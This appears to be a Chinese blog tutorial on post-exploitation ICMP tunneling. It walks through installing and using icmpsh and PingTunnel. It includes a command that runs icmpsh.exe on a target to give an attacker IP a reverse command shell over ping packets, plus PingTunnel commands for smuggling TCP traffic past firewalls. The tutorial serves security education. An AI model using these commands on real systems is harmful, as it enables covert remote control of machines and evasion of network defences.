用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。
在我的上一篇文章中,介绍了内网后渗透攻击--隐藏通信隧道技术(网络层隧道技术)-CSDN博客
网络层隧道技术相关技术点,那么现在就要介绍相关工具的使用,这里我们主要介绍两个工具。一个是icmpsh,另一个PingTunnel,这两个工具主要是ICMP隧道工具,接下来详细介绍这两个工具
一、icmpsh
1、工具介绍
icmpsh 是一款基于 ICMP 协议实现的反向 shell 工具,主要用于网络渗透测试中建立隐蔽的命令行连接。其核心特点是利用 ICMP 协议(即 ping 命令所依赖的网络层协议)传输数据,而非传统的 TCP/UDP 端口,因此能绕过部分仅限制端口的防火墙规则(许多网络环境默认允许 ICMP 流量通过)。
在渗透测试场景中,当目标主机的 TCP/UDP 端口被严格封锁,但 ICMP 协议未被过滤时,icmpsh 可作为突破网络限制、获取目标主机控制权的辅助工具。
2、工作原理
icmpsh 的核心原理是 “滥用” ICMP 协议的 Echo Request(请求,类型 8)和 Echo Reply(回复,类型 0)报文:
- 通信角色:分为 “攻击机”(控制端)和 “目标机”(被控端)。
- 命令传输:
- 攻击机向目标机发送ICMP Echo Request 报文,报文中嵌入需要执行的命令(如
whoami
、ipconfig
等)。 - 目标机接收后,执行命令并将结果通过ICMP Echo Reply 报文返回给攻击机。
- 攻击机向目标机发送ICMP Echo Request 报文,报文中嵌入需要执行的命令(如
- 隐蔽性:由于 ICMP 协议本身用于网络诊断(如 ping 测试),其流量通常不被视为 “危险流量”,因此不易被防火墙或入侵检测系统(IDS)拦截。
3、安装
下载地址:GitHub - bdamele/icmpsh: Simple reverse ICMP shell
icmpsh 主要通过 Python 脚本实现,需在攻击机(通常为 Linux)和目标机(支持 Windows/Linux)分别部署。
1. 攻击机(以 Linux 为例)
(1)依赖环境:需安装 Python 2.x(部分版本兼容 Python 3,建议优先用 Python 2)和python-impacket
库(用于处理网络数据包)。
(2)下载工具:
git clone https://github.com/inquisb/icmpsh.git
apt-get install python-impacket #安装python的impacket类库
pip install impacket #此命令也行
cd icmpsh
(3)关闭系统自带的 ICMP 响应(避免系统默认 ping 回复干扰工具通信):
# Linux系统
sysctl -w net.ipv4.icmp_echo_ignore_all=1
2. 目标机(以 Windows 为例)
(1)需准备 icmpsh 的 Windows 可执行文件(icmpsh.exe
),可通过攻击机编译或直接下载预编译版本:
- 从攻击机的
icmpsh
目录中,将icmpsh.exe
(若不存在,可通过mingw32
编译icmpsh.c
生成)上传至目标机,也就是说将下载文件夹中的icmpsh.exe文件放在目标机,而其它放在攻击机
4、使用
攻击机 IP 为192.168.1.100
,目标机 IP 为192.168.1.200
。
1. 攻击机操作(启动监听)
在攻击机的icmpsh
目录中,运行sh文件,输入IP地址
./run.sh
此时攻击机进入监听状态,等待目标机连接。
2. 目标机操作(主动连接)
在目标机上执行icmpsh.exe
,指定攻击机 IP:
# Windows命令行中运行
icmpsh.exe -t 192.168.1.100 -d 500 -b 32
- 参数说明:
-t
指定攻击机 IP;-d
设置延迟(毫秒);-b
设置数据包大小(字节)。
3. 建立连接后
连接成功后,攻击机将获得目标机的命令行交互权限,可直接执行系统命令(如dir
、tasklist
等),命令结果会通过 ICMP 报文返回。
此工具还是可以的,但是其工具有点久远了,其脚本还是使用python2编写的。
二、PingTunnel
1、工具介绍
PingTunnel 是一款基于 ICMP 协议(即 ping 命令所使用的网络协议)的流量封装工具,其核心功能是将 TCP/UDP 等其他协议的流量 “伪装” 成 ICMP Echo Request/Reply(ping 请求 / 应答)包进行传输,从而绕过部分网络环境中对 TCP/UDP 端口的限制(例如防火墙仅允许 ICMP 流量通过的场景)。
它常被用于以下场景:
- 绕过网络防火墙对特定端口的封锁;
- 在受限网络中建立隐蔽的通信通道;
- 测试网络设备对 ICMP 流量的过滤规则。
2、工作原理
ICMP 协议是 TCP/IP 协议族的一部分,主要用于网络诊断(如 ping 命令检测主机可达性),通常网络设备对 ICMP 流量的限制较松。
PingTunnel 的工作原理如下:
- 客户端封装:客户端将需要传输的 TCP/UDP 数据(如 HTTP、SSH 流量)拆解后,封装到 ICMP Echo Request 包(ping 请求)的数据字段中,发送给服务器端;
- 服务器端解封装:服务器端接收 ICMP 包后,提取其中的 TCP/UDP 数据,转发到目标服务(如目标服务器的 80 端口、22 端口);
- 反向传输:目标服务的响应数据通过服务器端封装成 ICMP Echo Reply 包(ping 应答),回传给客户端,完成一次通信。
通过这种 “ICMP 封装” 机制,原本被限制的流量可借助 ping 包的形式绕过过滤规则.
3、安装
下载地址:Releases · esrrhs/pingtunnel · GitHub
PingTunnel 支持 Linux、Windows 等系统,以下是主流平台的安装方法:
1. Linux 系统(以 Ubuntu/Debian 为例)
需通过源码编译安装,依赖libpcap
库(用于网络数据包捕获):
# 安装依赖
sudo apt update && sudo apt install -y gcc make libpcap-dev# 下载源码(官方仓库或第三方镜像)
git clone https://github.com/esrrhs/pingtunnel.git #下载的主要是go语言编写
cd pingtunnel# 安装(可选,将可执行文件复制到系统路径)
sudo cp pingtunnel /usr/local/bin/
2. Windows 系统
可直接下载预编译的二进制文件(需从可信来源获取,如官方发布页),或通过 MinGW 编译源码:
- 预编译版:下载
pingtunnel.exe
后,放入任意目录(如C:\tools
),并将该目录添加到系统环境变量PATH
中,即可在命令行直接调用。
这里我们就演示windows版本,如图所示
4、使用
PingTunnel 的使用需区分服务端(Server) 和客户端(Client),两者配合完成流量转发。
客户端通过 PingTunnel 访问服务端所在网络的80端口服务
(apache2服务)。
- 服务端配置
在linux启动服务端:
# Linux服务端
./pingtunnel -type server -key 123456
参数说明:
-type server:以服务端模式运行
-key 123456:设置密码(纯数字,客户端需一致,增强安全性)
无需额外指定-d和-dp(默认会根据客户端请求转发到目标地址,此处目标就是服务端自身 80 端口)
客户端配置
在本地客户端(如个人电脑)启动客户端,监听本地8080端口,连接服务端:
./pingtunnel.exe -type client -l 192.168.0.104:8080 -s 172.19.214.174 -t 172.19.214.174:80 -tcp 1 -key 123456
参数说明
-type client:以客户端模式运行
-l 192.168.0.104:8080:客户端本地监听地址(之后访问此地址即可转发到服务端 80 端口)
-s 172.19.214.174:服务端 IP 地址(隧道的中间节点)
-t 172.19.214.174:80:目标地址(服务端自身的 80 端口)
-tcp 1:开启 TCP 转发(因为 80 端口是 TCP 服务)
-key 123456:与服务端一致的密码
使用转发通道
客户端本地应用连接192.168.0.104:8080,即可通过 PingTunnel 访问服务端80
ok,以上就是两款工具的使用介绍了,下一篇介绍传输层隧道技术。